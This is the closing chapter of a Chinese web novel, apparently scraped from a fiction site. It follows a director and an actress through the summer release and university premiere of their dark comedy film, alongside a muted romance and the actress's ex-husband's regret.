黄书韵忙后期的事,每天去剪辑室盯进度,又恢复了以前黑白颠倒的作息。 难得这天她上午就起床了,揉着眼睛走出来,看到应真竟然已经化好妆坐在餐桌前。 她唇上涂了一层玫瑰色的唇釉,之前剪短的头发已经长长了,被她扎了起来,整个人气色好极了。 黄书韵呆呆地看着她,恍然间似乎又回到了二十出头一起合租的日子,“你终于要出门了?” 这几天应真除了早晚出门遛达,就是待在家里看剧本。 应真正在看手机,头也不抬道:“今天要给一个皮具品牌拍宣传照。” 黄书韵“哦”一声,坐下来吃早餐。 和应真一起生活,她总是被照顾的那个。比如现在,早餐都是现成的。 啃了一口五塘小笼包,黄书韵心满意足地深吸一口气:“真真,和你一起生活真好。” 应真自己在减重,整个春节都吃得跟尼姑一样,早上遛弯却给她买包子,这是什么样的革命姐妹情! 应真漫不经心道:“是你好养活。” 她正在红色软件上回复粉丝评论。拍《雪在飘》的时候她发了几个剧组日常vlog上去,有好多人跟她留言互动,尤其是那条有李长风出镜的视频。 她拿手机给黄书韵看:“李长风的人气也太旺了!你看看这条视频,点赞都2万了!” 黄书韵看了一眼:“他粉丝确实长情,这么多年一直不离不弃。他对自己要求也很高,状态维持得不错,你看他朋友圈发的那些照片,不是健身就是在健身的路上。” 应真:“……” 黄书韵说完,发现应真没接腔,一抬头便看到她眼里的困惑,莫名其妙有些窘,“咋了?” 应真打开微信:“我也有李长风的微信,我怎么没看到他发的那些健身照片?喏,你看,他上一条朋友圈还是杀青那天发的。” 黄书韵看了眼自己手机上的页面,又看了眼应真手机上的页面,确实是同一个人的朋友圈。 都是仅一个月可见,应真手机只有一条朋友圈,而她这边能看到十几条。 这段时间,黄书韵太忙了,根本没怎么刷朋友圈。她知道李长风在为缉毒警的角色做准备,偶尔在朋友圈看到他发的那些晒腹肌,晒胸肌的照片,也根本没往那方面去想。 毕竟他那人一向骚包。被应真这么一提醒,她拿起手机又把那些健身照看了一遍。 别说,还真的非常秀色可餐。黄书韵的目光在那沟壑纵横,线条完美的腹肌上多停留了几秒,忍不住有点佩服自己的定力了。 把十几条朋友圈一次性看完后,她撑不住笑了:“可能,他忘了把我从他的鱼塘组踢出去了。” 应真不懂:“鱼塘组?什么鱼塘组?” 黄书韵想起来她是刚习惯移动互联网的“古代人”,就这微信分组功能还是她教她的。于是,耐心跟她解释了一下什么是“朋友圈养鱼”,什么是单身男人的“可见组”和“不可见组”。 应真懂了,但总觉得有哪里不对劲,又说不出什么地方不对劲。 在宁市拍戏的画面涌了上来,很多当时觉得有些不对但并未往心里的细节重新泛起。 应真脑中闪过一丝念头,有些迟疑地看着黄书韵:“李长风这些照片不会就是发给你看的吧?在坝上拍戏的时候,我就觉得他怪怪的……” 黄书韵一口咖啡哽在喉咙里,赶紧咽了咽:“怎么可能只发给我看?你才加了他的微信没多久,他可能没把你加到他那个熟人组里。我加他都已经十几年了。” 应真仍然将信将疑,她着急出门,便没再跟书韵继续八卦下去。 * 历时三个月的后期剪辑,《雪在飘》最终将上映时间定在了7月5日。 暑期档是除了春节档以外,全年最重要的档期。今年暑期档的厮杀更是白热化,除了4部国外引进的大片,还有12部国产电影会在这个时段上映。 竞争之激烈,让创梦三人组都有些却步。不过同档上映的电影虽多,大多是剧情片、动作片、悬疑片和爱情片,黑色喜剧片只有《雪在飘》一部,沾了点差异化竞争的优势。 余平婉邀请了一些专业人士,搞了几场内部看片会。看片会的反响很热烈,现场笑声不断,专业人士的评价都很好。 几场看会片下来,最后大家一致决定——上!就选暑期档上! 定档后,一向颇有信心的黄书韵开始陷入自我怀疑。每天一躺在床上,便想到那两千万的投资款,还有欠演员的片酬,巨额的数字像大山一样压在她胸口上。 她开始整夜整夜睡不着,失眠焦虑,脑中各种乱七八糟的声音: 这些专业人士的意见靠谱吗?或者他们根本就觉得电影烂透了,当面不好意思说出批评意见。即便他们觉得电影好,会不会是同温层的抱团取暖? 应真看她焦虑的样子,想尽办法安慰她,“雪在飘用不着取悦所有人,哪怕它真的是你说的是什么同温层抱团取暖。全国十几亿人口,市场那么大,同温层也够养活一部电影了。” 余平婉也劝她不要有太大的心理压力,“处女作咱们不追求什么出道即巅峰,稳扎稳打,给以后的作品留下进步空间。电影是团队协作的产品,是好是坏也不是一个人的责任。” 道理黄书韵都懂,她只是处于提交试卷后等待分数的焦虑期。 定档后,宣发公司那边开始如火如荼地准备第一波宣发,推出相关主题的预告片。主创团队和演员们也开始为6月份的全国路演做准备。 黄书韵每天各种会议,跟发行方、出品方,第三方宣发公司,忙起来了注意力转移了,反倒没那么焦虑了。 《雪在飘》剧组大群一如既往的热闹,她忙得没空在群里说话,倒是李长风经常在群里跟工作人员贫上几句嘴。 有天深夜,黄书韵开完视频会议,已经凌晨两点。下线前,有人说了句“端午节快乐”。 黄书韵揉了揉酸胀的肩,这段时间忙得天昏地暗,连端午节都忘了。 她正准备洗洗睡了,手机上收到一条信息,李长风发给她的。 其实是两条信息。有一条信息被他撤回了,不知道发的是什么,没撤回的那条写的是:“我刚才做梦梦到你了。” 黄书韵盯着那条信息看了好几遍,不确定这条信息是不是她想的那个意思。 有点脑壳痛。不过,是或者不是好像也不是很重要。 她回了个哭笑不得的表情:“我谢谢你啊。每逢佳节倍思亲。端午节了,多吃几个粽子吧。” 发完,她看着对话框,上面显示着:对方正在输入…… 她等了一会,那边却一直没有回复。 看着静默下来的对话框,她自哂一笑,自己还是想得太多了。 其实这样挺好的,避免了故事朝庸俗的方法发展。 * 7月3日,Q大明德礼堂,《雪在飘》的全球首映礼在这里举办。 隔着十多年的时光,再次来到Q大,坐在车里看着窗外不停掠过的树木和建筑物,应真有种既熟悉又陌生的感觉。 也许人一辈子真的就活那么几个瞬间。她现在仍然记得当年来Q大举办见面会,坐在车里的心情,欢欣雀跃中带着一丝丝紧张。 仿佛有个巨大而崭新的世界正缓缓向自己敞开。现在想想,那大概就是青春吧。 余平婉转过头看着她:“再次来到Q大是什么感觉?是不是觉得跟以前不一样了?” 应真抿唇笑道:“确实不一样了。校园比以前更漂亮,学生也不一样了。” 放假了,很多学生都陆续离校。黄书韵看着路上稀稀拉拉的人,紧张得手心冒汗:“真真那次见面会是在西苑礼堂吧。早知道咱们也定西苑礼堂了。明德礼堂是千人大礼堂,这学生都放假了,会不会连三分之一都坐不满啊?” 余平婉作为业内经验丰富的制片人,这种场合经历得太多了,“放心吧!第三方公司都安排好人手了,保准坐得满满的。” 黄书韵松了口气:“那就好!不管怎么样,气势不能输!” 应真看她很紧张,将手覆在她的手上,双只手紧紧握在一起。 她们互相看了对方一眼,不约而同地冲对方笑了。 首映礼,大家都穿着剧组统一定制的白色T恤,上面印着“雪在飘”字样,还有电影的英文名“WhenSnowLaughs”。 应真梳了个马尾,露出光洁的额头。这一次她没有穿高跟鞋,而是穿了一双白色系带球鞋。 黄书韵剪了个齐耳短发,难得化了个全妆,脚上也是一双白色球鞋。 下车的时候,她将应真上上下下打量了好几遍,又低头看了眼自己的打扮,忍不住咧嘴笑,“老阿姨今天到大学里装一把学生。” 应真看了眼她肩上挎的那只洗得发白发透的帆布包,也笑了:“你别说,走在这学校里,我要是不认识你,没准真会找你问路。” …… 明德礼堂后台,宣传公司的负责人一看到余平婉就按捺不住的喜色,凑到她耳朵小声道:“全坐满了!我们找的人一点没派上用场,我让他们都回去了!” 余平婉长舒一口气,面上却一如既往的淡定,冲那人点点头,“那就好。” 参加首映礼的主创人员和演员都到了,大家都在后台等待电影放映。 李长风翘着脚坐在那儿,眼角余光就被门口那道身影攫住,心跳不由自主地快了几拍,视线掠过她的发丝和、脸和被帆布包紧紧勒住的肩膀,又赶紧挪开了。 黄书韵还像在片场一样,过来跟所有演员一一打招呼,到李长风这,她目光在他脸上停留几秒,笑道:“你比江游那会瘦了好多啊。” 李长风正要说“导演你也瘦了”,应真急匆匆地拿着手机过来了,“秦毅打电话过来。你跟他说吧。” 黄书韵接过手机,边往一旁走,边对那头道:“首映礼你这个金主不来怎么行……” 她的声音被礼堂里观众的笑声盖住。李长风目光落在她的背影上。 半年过去了,他早从江游那个角色中抽离出来了。 此刻,他就他自己,忽然觉得有点没劲,有点烦躁。 心里那股说不清道不明的情绪激得他站了起来,走上前,不顾别人的目光,将那只紧勒着她肩膀的帆布包从她肩上卸下来。 她正在打电话,转过头看着他,脸里有浅浅困惑。 李长风神色淡淡地抿着唇:“打电话还背着包,你不累?” …… 下午四点半,电影播映环节结束,在观众雷呜般的掌声中,黄书韵携主创团队一起登台亮相。 《雪在飘》之前两轮点映反响都很不错,点映加预售总票房已经突破3000万元,也就是说她们已经初步回本了。 市场检验给了她们很大信心,但Q大学生对这部电影的评价还是超乎了剧组所有人的预想。 互动环节特别热烈,笑声不断。 学生A问黄书韵是如何在喜剧和创伤之间做好平衡的,学生B问导演在塑造元珊这个角色的时候,是不是有意在强化女性的心理韧性,学生C问导演如何摸索出电影里呈现出来的那种既荒诞又治愈的喜剧风格。 黄书韵都一一认真回答了。主持人正想夸Q大学生提问很有深度,没想到接下来的问题越来越往搞笑的方向发展。 学生D问李长风,“我在网上看到剧组发的现场花絮,拍摄‘火炕烫伤’那场戏,道具师把搪瓷缸里的温水换成了真开水,导致您跳起来差点撞翻摄像头,请问您现在看到搪瓷缸还会PTSD吗?” 李长风俊脸浮起一抹淡笑:“倒也不至于PTSD。按照江游的人设,那场戏本来设计的是来一个‘优雅烫伤’……” 说到这,他做了个优雅的手势,全场大笑。 “我要求道具师换成开水,戏里江游刚发现老婆出轨,头上一整个青青大草原。这个时候让江游狼狈,会更有喜剧效果。导演在片场一直强调,我们这部戏是荒诞治愈的风格。角色要用滑稽动作释放情绪压力,生理上越窘迫,才越能给崩溃的心理找到出口。” 黄书韵在一旁听得很认真,嘴角的笑意淡了几分,眼里的赞许却更浓了。 李长风回答完后,女生E站起来问应真:“应老师,元珊这个人物跟您以前演的那些角色很不一样。刚才您也说了您当了十几年的全职妈妈,这段经验是不是对您诠释元珊这个人物有很大的帮助?接下来您打算挑战什么样的角色?” 应真想了想,认真道:“当然有帮助。我很感谢这段经历。作为一个体验派的演员,为人妻,为人母,为人女,全职妈妈,职业女性,一个女人在社会上扮演的角色,我都尝试过了,该有的生命体验也都有了。接下来我会挑战更复杂立体的女性角色。” 女生E刚坐下来,又有个男生举手站起来,向应真提问:“我的问题可能比较八卦一点。我是Q大计算机系大三学生,您丈夫宁君昊是我们系03届的师兄。作为游戏行业举足轻重的人物,宁总今年拓展了影视业务,您在息影十几年后又复出拍电影,是不是跟他有关系?” 话音刚落,礼堂里响起了一片嘘声,显然对这个男生的问题有些不满。 一时间,台下所有人都看向应真,气氛有些尴尬。 主持人看这架势,正想打个圆场。应真已经对着话筒缓缓开口: “没有。” 惜字如金,但斩钉截铁。 千人大礼堂里,全场哄然大笑。不只台下观众,台上的主创们也掩嘴笑了。 应真嘴角始终噙着笑,视线掠过台下一张张脸,最终在某个方向定住——他竟然带着女儿来了。 后排一个女生扯着嗓子喊:“知道自己八卦,你还问!浪费一个提问机会!” 说完,她便举手示意主持人,然后站了起来,清了清喉咙,小脸泛红:“其实我这个问题也很八卦……” 全场又是一阵爆笑,女孩硬着头皮问李长风,“这次合作黄书韵导演,有没有遇到让你特别难忘的创作时刻?” 李长风转头看向身边的女人,一本正经道:“黄导是很有魅力的创作者。她要求我在戏里把‘克制’演成‘火山’——表面平静,内里沸腾。这种矛盾感,其实和生活中的某些时刻很像。” 说到这,他停顿了几秒钟,然后轻笑道:“比如,当你遇到一个能让你重新理解‘温度’的人。” 黄书韵微笑着看向天花板:“……” …… 八卦结束后,几个女生又问了应真和黄书韵很多问题,都是关于这部电影女性主义叙事角度的。 《雪在飘》首映礼圆满落下了帷幕,主创人员在观众们的簇拥下从礼堂后门离开。 应真从人群中挣脱出来,便看到站不远的父女俩。 为了参加首映礼,父女俩都穿得很隆重。宁颐然穿了一条缀满珠片的小礼服裙,比平时多了几分精致可爱。宁君昊穿着白衬衫黑色西装,西服外套搭在手腕上,站在那儿自带一股气场。 宁颐然越过人群,扑进妈妈的怀里,由衷称赞道:“妈妈,电影很好看!是我今年看过的最好看的电影!你演得太好了!” 她没好意思说,刚才妈妈在台上,整个人像是在发光一样。整整三个多小时,她一点没走神。 应真摸了摸女儿的头发,一抬头对上宁君昊的目光。 他垂眸注视着她,语气很温柔:“真真,恭喜你成功复出。” 应真冲他点点头:“谢谢。” 宁君昊有很多话想对她话,却不知从何说起,直到工作人员过来把应真喊走。 因为反响太热烈了,主办方想让主创人员再给Q大学子签一些海报。 宁颐然看了眼人群里忙碌的妈妈,又看了眼身旁的爸爸,“爸爸,你是不是后悔跟妈妈离婚了?你当时为什么不同意妈妈复出?” 后悔有用吗?宁君昊苦笑:“因为自私吧……” 自私地想把她困在宁太太这个角色里。她其实可以在其他角色中绽放更大的光彩。 …… 应真的脸快笑烂了。 这一次,她不再是被一群大学男生簇拥着拍照,而是被一个个青涩害羞的女孩轮番上前求合影。 起初女孩们都很不好意思靠得太近,反而应真很自然地揽着她们,对着自拍镜头笑。 “到我了!” “我还没拍!” 年轻的脸庞着闪着光,叽叽喳喳地凑在一起,检阅各自拍的照片。 应真温柔地注视着她们,同时也注视着镜头里的自己。 “谢谢你。应真。” 她对镜头里的女人道。 【正文完】【你现在阅读的是魔蝎小说 moxiexs】